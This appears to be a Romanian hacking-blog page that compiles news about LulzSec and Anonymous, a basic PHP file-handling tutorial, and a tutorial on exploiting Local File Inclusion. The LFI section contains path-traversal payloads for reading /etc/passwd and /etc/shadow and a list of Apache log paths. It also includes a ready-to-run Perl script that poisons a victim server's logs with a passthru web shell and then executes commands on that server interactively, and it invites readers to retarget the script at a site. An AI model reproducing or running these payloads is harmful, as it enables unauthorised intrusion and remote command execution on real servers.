British LulzSec hacking accused bailed

A British teenager charged with attacking websites as part of the international hacking group Lulz Security was released by a court on bail yesterday after being diagnosed with autism.

Ryan Cleary, 19, was arrested one week ago and charged two days later with offences including hacking into the website of the Serious Organised Crime Agency (SOCA), the British equivalent of the FBI.

A court on Saturday ordered him to be freed after his defence team said he had been diagnosed with Asperger's syndrome, a form of autism, but prosecutors immediately appealed against that decision. On Monday however Judge Nicholas Loraine-Smith granted Cleary bail on the condition that the teenager observes a curfew from 9:00 pm to 7:00 am, wears an electronic tag and only leaves the house with his parents.

Source: 

http://news.hitb.org

Readmore...

Anonymous launches hacking lessons at School4Lulz

Anonymous has issued a beginner's guide to hacking online under the title, School4Lulz.

With the disbandment of hacker group LulzSec, the online 'hacktivist' collective is clearly looking for buddies to continue its fight under the banner Operation InfoSec - and one way of recruiting fellow travellers, it seems, is to issue them with a Hacking 101.

School4Lulz is available at the group's 'Lolhackers' site, and provides information on hacking techniques including as the so-called 'SQL injection' method used by both Anonymous and LulzSec in a number of their high-profile hacking attacks. Instructor-in-chief 'Hatter' also dishes out some advice on probing site vulnerabilities.

Readmore...

Tutorial PHP: Lucrul cu fisiere

Folosind PHP-ul se pot executa anumite operatii asupra fisierelor aflate pe server cum ar fi:
fopen() = deschide fisierul indicat
fclose() = inchide fisierul
fread() = citeste continutul fisierului
fwrite() = scrie in fisier
filesize() = indica dimensiunea fisierului

Deschiderea fisierelor
Sintaxa functiei fopen() este:

PHP Code:

fopen(param1, param2);  

param1 = fisierul, calea catre fisier sau adresa fisierului care va fi deschis
param2 = modul in care va fi deschis fisierul, si poate avea valorile:

r = fisier deschis doar pentru citire
r+ = fisier deschis doar pentru citire si scriere
w = fisier deschis doar pentru scriere
w+ = fisier deschis pentru citire si scriere iar daca nu exista fisierul il creza
a = fisier deschis pentru adaugare la sfarsit
a+ = fisier deschis adaugare la sfarsit iar daca nu exista fisierul il creza
t = fisier deschis in mod text
b = fisier deschis in mod binar
sau combinatii ale acestora.

Citirea fisierelor
Sintaxa functiei fread() este:

PHP Code:

$filename="proba.txt";$handle=fopen($filename, "r");$contents=fread($handle, filesize($filename));  

variabila $handle va fi folosita ulterior si in alte functii.

Scrierea in fisiere
Sintaxa functiei fwrite() este:

PHP Code:

fwrite($handle, "continut ce va fi scris in fisier");  

Verificarea drepturilor de acces asupra fisierului
Sintaxa functiei is_writable este:

PHP Code:

is_writable($filename);  

returneaza TRUE daca se poate si FALSE daca nu se poate scrie in fisier.

Inchiderea fisierului
Sintaxa functiei fclose() este:

PHP Code:

fclose($handle);  

Folosind aceste functii de baza putem incerca cateva exemple simple.

Se verifica dreptul de scriere in fisier. Primul pas este crearea fisierului proba.txt apoi se verifica exemplul care va returna mesajul Acces interzis scrierii in fisier. Se modifica drepturile asupra fisierului adaugand scrierea. Se verifica iar exemplul care va returna mesajul Acces permis scrierii in fisier.

PHP Code:

<?php
$filename="proba.txt";
if(is_writable($filename)) { //se verifica dreptul de scriere in fisierecho "Acces permis scrierii in fisier";
} else {
echo "Acces interzis scrierii in fisier";
}?>

Adaugam exemplului anterior verificarea deschiderii fisierului:

PHP Code:

<?php
$filename="proba.txt";
if(is_writable($filename)) { //se verifica dreptul de scriere in fisierif(!$handle=fopen($filename, 'a')) { //se verifica deschiderea fisieruluiecho "Fisierul <b>".$filename."</b> nu poate fi deschis";
exit; //se incheie executia scriptului}
echo "Fisierul <b>".$filename."</b> poate fi deschis";
} else {
echo "Acces interzis pentru scriere in fisier";
}?>

Adaugam exemplului anterior scrierea in fisier si tiparirea continutului sau:

PHP Code:

<?php
$filename="proba.txt";
if(is_writable($filename)) { //se verifica dreptul de scriere in fisierif(!$handle=fopen($filename, 'a')) { //se verifica deschiderea fisieruluiecho "Fisierul <b>".$filename."</b> nu poate fi deschis";
exit; //se incheie executia scriptului}
if(fwrite($handle, date("j-n-Y g:ia")."\r\n")===FALSE) { //testeaza daca se poate scrie in fisierdie ("Nu se poate scrie in ".$filename.""); //iesire}fclose($handle);$matrice=file($filename); //se citeste continutul fisierului si se stocheaza intr-o matriceforeach ($matrice as $cheie =>$valoare) {
echo $valoare."<br>"; //printeaza cate o valoare pe un rand}
} else {
echo "Acces interzis pentru scriere in fisier";
}?>

_______

#Credite: http://www.drogoreanu.ro/

Readmore...

Introducerea in LFI

Buna ziua! In acest tutorial o sa invatati cum cum sa exploatati vulnerabilitatea LFI dintr-un site.

Mai intai, sa vedem acest mic cod php:

Code:

<?php
$page = $_GET[page];
include($page);
?> 

Acesta este un cod care nu ar trebui folosit niciodata, vulnerabil la LFI, pentru ca variabila $page nu este santinizata.

Ok, acum sa profitam de aceasta vulnerabilitate, folosind urmatorul cod:

Code:

site.host/index.php?page=../../../../../../../etc/passwd

Daca siteul este gazduit Unix, parolele userilor sunt stocate in /etc/passwd si codul de mai sus ne arata aceste parole si usernameurile. Acum tot ce mai ai de facut este sa decodezi parola. 
O parola criptata, ar trebui sa arate cam asa:

Code:

username:x:503:100:FullName:/home/username:/bin/sh

In acest exemplu, parola este x, alt exemplu de parola fiind:

Code:

username:!:503:100:FullName:/home/username:/bin/sh

Alte "locuri" unde puteti gasi parolele in afara de /etc/passwd ar cam fi:

Code:

/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits

In caz ca Browserul va arata la sfarsitul includerii un .php (si automat. /etc/passwd.php nu va mai exista), adaugati la sf includerii , serverul va omite tot ce scrie dupa .
Exemplu de cod:

Code:

site.host/index.php?file=../../../../../../../../etc/passwd

Acum vom incerca sa rulam comenzi pe server injectand coduri php in loguri, apoi rulandu-le.
Cateva adrese de loguri:

Code:

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Ok, acum sa aruncam o privire asupra logului in care se salveaza paginile care nu exista si urmatorul cod: <? passthru(\$_GET[cmd]) ?>. Daca scriem in browser:

Code:

site.host/<? passthru(\$_GET[cmd]) ?>

O sa ne arate evident o pagina in care scrie ca acest cod nu exista pe server, deoarece browserul encodeaza automat URL'ul si pagina pe care noi am accesat-o, browserul o traduce in:

Code:

site.host/%3C?%20passthru(\$_GET[cmd])%20?>

Deci va trebui sa facem altceva... Putem utiliza urmatorul script perl:

Code:

#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="victim.com";
$path="/folder/";
$code="<? passthru(\$_GET[cmd]) ?>";
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";
print $socket "GET ".$path.$code." HTTP/1.1\r\n";
print $socket "User-Agent: ".$code."\r\n";
print $socket "Host: ".$site."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "\nCode $code sucssefully injected in $log \n";

print "\nType command to run or exit to end: ";
$cmd = <STDIN>;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";
    print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1\r\n";
    print $socket "Host: ".$site."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($show = <$socket>)
    {
        print $show;
    }

print "Type command to run or exit to end: ";
$cmd = <STDIN>;
}

Copy/Paste la chestia asta si salveaz-o ca ex.pl, dar nu uita sa modifici in exploit urmatoarele lucruri:
1) modifica numele siteului
2) modifica numele logului si calea catre el
3) schimba index.php= cu ce doresti tu

Rulati scriptul si el va va intreba ce comenzi sa rulati !!! Va descurcati de aici incolo !!!

Linkuri utile: 

Code:

http://www.milw0rm.com/video/watch.php?id=57

Acesta este un mic tutorial video, incercati sa-l vizionati ca este foarte bun.

Proof of Concept:
[img]
http://img355.imageshack.us/my.php?image=sitewe2.jpg
[/img]

Autor in limba engleza: d3fcrash

Traducerea si adaptarea+modificari: vladii


sursa : http://hackpedia.info

Readmore...